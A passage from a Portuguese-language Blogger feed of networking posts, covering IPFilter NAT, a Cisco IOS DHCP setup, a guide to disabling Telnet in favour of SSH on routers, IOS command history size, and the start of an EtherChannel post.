align="JUSTIFY"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;Feito isso, basta recarregar o ipnat e tudo estará lindo: /etc/rc.d/ipnat forcerestart. Agoravocê pode continuar a bloquear acesso a conteúdo impróprio, e o setor pessoal continuará funcionando!&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;Espero ter sido claro na explicação e ter te ajudado. Caso haja alguma dúvida ou correção, estou à inteira disposição para ajudar: &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span lang="zxx"&gt;&lt;u&gt;&lt;a href="mailto:alancordeiro@gmail.com"&gt;alancordeiro@gmail.com&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;. Agradeço a todos que colaboraram e tentaram me ajudar na época (Alan Jumpi). Fica aí minha parcela de contribuição.&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;Of course it runs NetBSD &lt;/span&gt;&lt;span style="font-family:Wingdings,serif;"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;Alan MeC Lacerda,&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;" align="JUSTIFY"&gt;&lt;span lang="en-US"&gt;:wq!&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-3520194627238385409?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/3520194627238385409/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2010/07/ipfilter-vs-conectividade-social.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/3520194627238385409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/3520194627238385409'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2010/07/ipfilter-vs-conectividade-social.html' title='IPFilter vs Conectividade Social'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-5723992345703845135</id><published>2010-05-15T09:50:00.007-03:00</published><updated>2011-02-27T03:08:42.656-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><title type='text'>Fast How: DHCP on Cisco</title><content type='html'>Pessoal,&lt;br /&gt;&lt;br /&gt;Decidi fazer um "FAST HOW" nunca ouvi/vi esse termo antes, mas me refiro a um breve (bem breve mesmo) post sobre como fazer algo. Então lá vai:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;CONFIGURANDO UM SERVIDOR DHCP NO IOS - CISCO&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Série de comandos:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router&gt;enable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router#configure terminal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(config)#ip dhcp excluded-address 192.168.0.1 192.168.0.2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(config)#ip dhcp pool labCCNA&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(dhcp-config)#network 192.168.0.0 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(dhcp-config)#default-router 192.168.0.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(dhcp-config)#dns-server 192.168.0.2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(dhcp-config)#domain-name labccna.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(dhcp-config)#exit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(config)#interface fast 0/0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(config-if)#ip address 192.168.0.1 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(config-if)#no shutdown&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(config-if)# exit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 102);font-family:courier new;" &gt;router(config)#do wr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-size:130%;" &gt;Explicando os comandos:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;enable:&lt;/span&gt;&lt;br /&gt;Acessa o modo privilegiado do IOS. Esté é apenas o caminho para poder acessar o modo de configuração global que é onde, de fato, inicia-se a configuração do servidor DHCP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;configure terminal:&lt;/span&gt;&lt;br /&gt;Acessa o modo de configuração global para iniciar a configuração fo servidor DHCP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ip dhcp excluded-address:&lt;/span&gt;&lt;br /&gt;Define os endereços IPs que não podem ser atribuídos às máquinas clientes. Isso geralmente é usado para retirar da lista de IPs do DHCP os IPs dos servidores (gateway, dns, dados etc).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ip dhcp pool labCCNA:&lt;/span&gt;&lt;br /&gt;Este comando cria um grupo de IPs e dá a esse grupo o nome "labCCNA" poderia ser qualquer nome desejado pelo administrador. No grupo é que se configura a faixa de IP que vai ser designada, o gateway que será designado dentre outras opções do DHCP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;network:&lt;/span&gt;&lt;br /&gt;este comando define a faixa de rede que será designada às estações clientes do DHCP. Lembre-se que mesmo que a faixa exluida esteja dentro da rede que você definir aqui, ela não será atribuida a nenhuma estação, afinal de contas, você mandou excluílos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;default-router:&lt;/span&gt;&lt;br /&gt;Este comando define qual o gateway padrão será designado para as estações clientes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;dns-server:&lt;/span&gt;&lt;br /&gt;Este comando define qual o servidor DNS deve ser usado pelas estações clientes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;domain-name:&lt;/span&gt;&lt;br /&gt;Este comando define qual o dominio local, ou qual o dominio base para as pesquisas DNS.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;exit:&lt;/span&gt;&lt;br /&gt;Volta um nível. Nesse caso, saindo da configuração do pool e voltando para o modo de configuração global.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;interface fast 0/0:&lt;/span&gt;&lt;br /&gt;Acessa a interface FastEthernet 0/0 do roteador para configurá-lo com o ip da rede local.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ip address:&lt;/span&gt;&lt;br /&gt;Define um endereço IP para a interface fastethernet 0/0 do roteador.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;no shutdown:&lt;/span&gt;&lt;br /&gt;Coloca a interface no modo operacional.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;exit:&lt;/span&gt;&lt;br /&gt;Volta um nível. Nesse caso, saindo da configuração de interface e voltando  para o modo de configuração global.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;do wr:&lt;/span&gt;&lt;br /&gt;Salva as configurações para caso o roteador reinicie, não perder as configurações feitas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FINAL&lt;br /&gt;É isso pessoal, qualquer dúvida podem postar aí que eu respondo. Forte abraço.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-5723992345703845135?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/5723992345703845135/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2010/05/fast-how-dhcp-on-cisco.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/5723992345703845135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/5723992345703845135'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2010/05/fast-how-dhcp-on-cisco.html' title='Fast How: DHCP on Cisco'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-1455125968278915180</id><published>2010-03-22T19:06:00.003-03:00</published><updated>2010-03-22T19:11:09.225-03:00</updated><title type='text'>Pesquisa Ecológica</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.eco4planet.com/"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 286px; height: 106px;" src="http://img195.imageshack.us/img195/2539/eco4planetgdetr.png" alt="" border="0" /&gt;&lt;/a&gt;O eco4Planet é um site de buscas que usa o mecanismo da grande Google ( MAS NÃO É AFILIADA À GOOGLE ), esse povo planta árvores de acordo com os acessos feitos tanto ao sistema de busca como ao blog deles.&lt;br /&gt;&lt;br /&gt;Vale apena conferir o blog. É super-interessante: &lt;a href="http://blog.eco4planet.com/"&gt;http://blog.eco4planet.com/&lt;/a&gt;. Ainda é possível adicionar o eco4planet à barra de busca no firefox.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-1455125968278915180?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/1455125968278915180/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/pesquisa-ecologica.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1455125968278915180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1455125968278915180'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/pesquisa-ecologica.html' title='Pesquisa Ecológica'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7925828444582341916</id><published>2010-03-20T23:16:00.002-03:00</published><updated>2010-03-20T23:38:52.245-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Morte ao TELNET</title><content type='html'>&lt;div style="text-align: justify;"&gt;Quem de nós tem coragem de levantar um servidor Linux na Internet e configurar o TELNET para acesso remoto? Quem se dispõe levante o mouse... Não vejo ninguém. É, eu também não sou louco. Mas me pergunto: Se não temos coragem de fazer isso com o servidor de Rede, por que a grande maioria dos administradores não se preocupam em deixar os roteadores e switchs com o TELNET habilitado?&lt;br /&gt;&lt;br /&gt;Pobres mortais do planeta TELNET... Vamos então boicotar o TELNET, ele tem que sair de circulação ou pelo menos entrar em desuso (o máximo de utilidade que o  servidor Telnet pode ter é em laboratório - e olhe lá!). Vamos então ver como configurar o roteador para aceitar apenas conexões via SSH (Agora estamos falando em  segurança/coisa de gente grande).&lt;br /&gt;&lt;br /&gt;Primeiro passo de todos é configurar o &lt;span style="font-weight: bold;"&gt;hostname&lt;/span&gt; e &lt;span style="font-weight: bold;"&gt;domain-name&lt;/span&gt; para o nosso roteador:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Router&gt;enable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Router#configure terminal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Router(config)#hostname R1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1(config)#ip domain-name technaweb.com.br&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Que bela sequência de comandos! Os primeiro e segundo comandos são para nos levar até o modo de configuração global do roteador. O terceiro é para definir o nome do roteador (hostname) e o ultimo é usado para definir o nome do domínio que o roteador pertence (no meu caso: technaweb.com.br, o seu será diferente). Feito isso podemos entrar na configuração do SSH em sí. Vamos &lt;span style="font-weight: bold;"&gt;gerar a chave RSA&lt;/span&gt; (levando em conta que o RSA de 1024 já foi quebrada, vamos configurar uma de 2048 bits):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1(config)#crypto key generate rsa&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Após digitar o comando acima, a seguinte mensagem será exibida:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;The name for the keys will be: R1.technaweb.com.br&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Choose the size of the key modulus in the range of 360 to 2048 for your&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;  General Purpose Keys. Choosing a key modulus greater than 512 may take&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;  a few minutes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;How many bits in the modulus [512]:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;É a hora de definir quantos bits usaremos. Digite 2048 e presione enter e... a chave será gerada! Feito isso vamos &lt;span style="font-weight: bold;"&gt;criar o usuário e senha&lt;/span&gt; que irá logar:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1(config)#aaa new-model&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1(config)#username alan password CCIESec&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Habilitei o AAA (esse é um assunto vaaastoooo, vamos falar sobre isso no futuro mas sugiro que como um verdadeiro nerd você vá pesquisar o quanto antes) para o roteador gerenciar a autenticação - isso é realemente necessário, e criei um usuário chamado "alan" e senha de acesso "CCIESec". Só nos resta agora &lt;span style="font-weight: bold;"&gt;habilitar os terminair virtuais (VTYs) para usarem o tal do SSH&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1(config)#line vty 0 15&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1(config-line)#transport input ssh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1(config-line)#exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A quantidade de terminais pode variar de um roteador para outro. Eu mostrei 16 terminais (de 0 a 15) mas nesse roteador que estou usando tenho 872 terminais. Na primeira linha, entramos no range de terminais que pretendemos habilitar com o SSH, e na segunda linha de comando efetuamos a configuração propriamente dita, definindo que a comunicação nesses terminais serão via SSH.&lt;br /&gt;&lt;br /&gt;Que perfeito hein?! &lt;span style="font-weight: bold;"&gt;É hora de testar&lt;/span&gt;. Caso esteja usando um outro roteador para testar use o seguinte comando (a configuração de IP já está feita e o IP do nosso servidor SSH é 192.168.0.2):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R2#ssh -l alan 192.168.0.2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Password:&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;&lt;cciesec&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;R1&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bem simples e... e... e simples mesmo. Não sei por que ainda usa-se TELNET. Na verdade eu sei: por causa da preguiça!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7925828444582341916?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7925828444582341916/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/morte-ao-telnet.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7925828444582341916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7925828444582341916'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/morte-ao-telnet.html' title='Morte ao TELNET'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-809923417667705341</id><published>2010-03-20T01:51:00.007-03:00</published><updated>2011-02-27T03:09:58.498-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><title type='text'>Histórico de comandos no IOS</title><content type='html'>&lt;div style="text-align: justify;"&gt;Estou de volta com mais uma informação concernente ao que estou estudando no momento. Bem, como alguns já sabem eu decidi seguir a carreira de segurança da Cisco System, assim terei de revisar alguns assuntos do curriculo CCNA para poder continuar a carreira. Apenas a nível de informação, a carreira de segurança da Cisco é a seguinte:&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 51, 0);"&gt;CCNA -&gt; CCNA Security -&gt; CCSP -&gt; CCIE Security&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pois bem, é essa a carreira que vou seguir. Mas vamos ao que importa: O conteúdo do post em sí!&lt;br /&gt;Como todo sistema operacional moderno, o IOS (Internetwork Operating System), um dos sistemas operacionais da Cisco, possui a implementação do histórico dos ultimos comandos digitaos. Após digitar alguns comandos na CLI (Command Line Interface - basicamente a linha de comando), você pode usar a seta para cima, ou o CTRL + P, para exibir os comandos anteriormente digitados e usar a seta para baixo, ou CTRL + N, para exibir os comandos mais recente em comparação ao comando em exibição no terminal.&lt;br /&gt;&lt;br /&gt;Pergunta interessante: "Quantos comandos o terminal memoriza por padrão?" Com o comando &lt;span style="font-style: italic; font-weight: bold;"&gt;show terminal&lt;/span&gt; é possível responder a esta pergunta. Vejam a saída:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Router#show terminal&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Line 0, Location: "", Type: ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Length: 24 lines, Width: 80 columns&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Status: PSI Enabled, Ready, Active, Automore On&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Capabilities: none&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Modem state: Ready&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Special Chars: Escape  Hold  Stop  Start  Disconnect  Activation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                ^^x    none   -     -       none&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Timeouts:      Idle EXEC    Idle Session   Modem Answer  Session   Dispatch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;               00:10:00        never                        none     not set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                            Idle Session Disconnect Warning&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                              never&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                            Login-sequence User Response&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                             00:00:30&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                            Autoselect Initial Wait&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                              not set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Modem type is unknown.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Session limit is not set.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Time since activation: 00:13:38&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Editing is enabled.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;History is enabled, history size is 20.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;DNS resolution in show commands is enabled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Full user help is disabled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Allowed input transports are none.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Allowed output transports are pad v120 telnet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Preferred transport is telnet.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;No output characters are padded&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;No special data dispatching characters&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Observem a linha em negrito: &lt;span style="font-weight: bold;"&gt;History is enabled,  history size is 20. &lt;/span&gt;Esta linha indica o número 20 como sendo o tamanho da memória para comandos. Para alterar o tamanho do histórico, vamos usar o comando &lt;span style="font-weight: bold;"&gt;terminal history size&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Router#terminal history size 100&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Agora vamos usar o comando para exibir as configurações do terminal e checar qual o tamanho do history agora (pressione duas vezes a seta para cima):&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;Router#show terminal&lt;br /&gt;Line 0, Location: "", Type: ""&lt;br /&gt;Length: 24 lines, Width: 80 columns&lt;br /&gt;Status: PSI Enabled, Ready, Active, Automore On&lt;br /&gt;Capabilities: none&lt;br /&gt;Modem state: Ready&lt;br /&gt;Special Chars: Escape  Hold  Stop  Start  Disconnect  Activation&lt;br /&gt;            ^^x    none   -     -       none&lt;br /&gt;Timeouts:      Idle EXEC    Idle Session   Modem Answer  Session   Dispatch&lt;br /&gt;           00:10:00        never                        none     not set&lt;br /&gt;                        Idle Session Disconnect Warning&lt;br /&gt;                          never&lt;br /&gt;                        Login-sequence User Response&lt;br /&gt;                         00:00:30&lt;br /&gt;                        Autoselect Initial Wait&lt;br /&gt;                          not set&lt;br /&gt;Modem type is unknown.&lt;br /&gt;Session limit is not set.&lt;br /&gt;Time since activation: 00:17:18&lt;br /&gt;Editing is enabled.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;History is enabled, history size is 100.&lt;/span&gt;&lt;br /&gt;DNS resolution in show commands is enabled&lt;br /&gt;Full user help is disabled&lt;br /&gt;Allowed input transports are none.&lt;br /&gt;Allowed output transports are pad v120 telnet.&lt;br /&gt;Preferred transport is telnet.&lt;br /&gt;No output characters are padded&lt;br /&gt;No special data dispatching characters&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Mais uma vez note a linha em negrito: &lt;span style="font-weight: bold;"&gt;History  is enabled, history size is 100. &lt;/span&gt;Desta vez vemos que o tamanho do histórico é de 100;&lt;br /&gt;&lt;br /&gt;Bem simples mas espero ter adicionado 2 Cents de conhecimento à imensidão de conheimento que você com certeza já possui.&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-809923417667705341?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/809923417667705341/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/historico-de-comandos-no-ios.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/809923417667705341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/809923417667705341'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2010/03/historico-de-comandos-no-ios.html' title='Histórico de comandos no IOS'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-9142974013182204078</id><published>2010-03-08T21:24:00.006-03:00</published><updated>2011-02-27T03:08:12.707-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><title type='text'>Criando Canais Ethernet em Switchs CISCO</title><content type='html'>&lt;div style="text-align: justify;"&gt;Fala pessoal,&lt;br /&gt;&lt;br /&gt;Por incrível que pareça eu estava há um tempão pensando em o que escrever aqui. Bem, decidi! :) Vamos ver como criar canais Ethernet(Etherchannel) em switchs cisco.&lt;br /&gt;&lt;br /&gt;Vamos começar entendendo o que é um canal Ethernet e pra que serve. A palavra da vez quando vamos desenhar uma estrutura de rede ( ao se imaginar uma rede de médio a grande porte )  é redundância! Algo parecido com o desenho abaixo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kOIPiN3lLNM/S5WcnWwz8_I/AAAAAAAAADU/HMIX2OsvPK0/s1600-h/2+switchs.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 234px;" src="http://4.bp.blogspot.com/_kOIPiN3lLNM/S5WcnWwz8_I/AAAAAAAAADU/HMIX2OsvPK0/s320/2+switchs.jpg" alt="" id="BLOGGER_PHOTO_ID_5446431524313625586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Os switchs da cisco ( e outros ) rodam um algoritimo chamado Spanning-tree para evitar que um pacote entre em uma interface e seja encaminhada para outra e 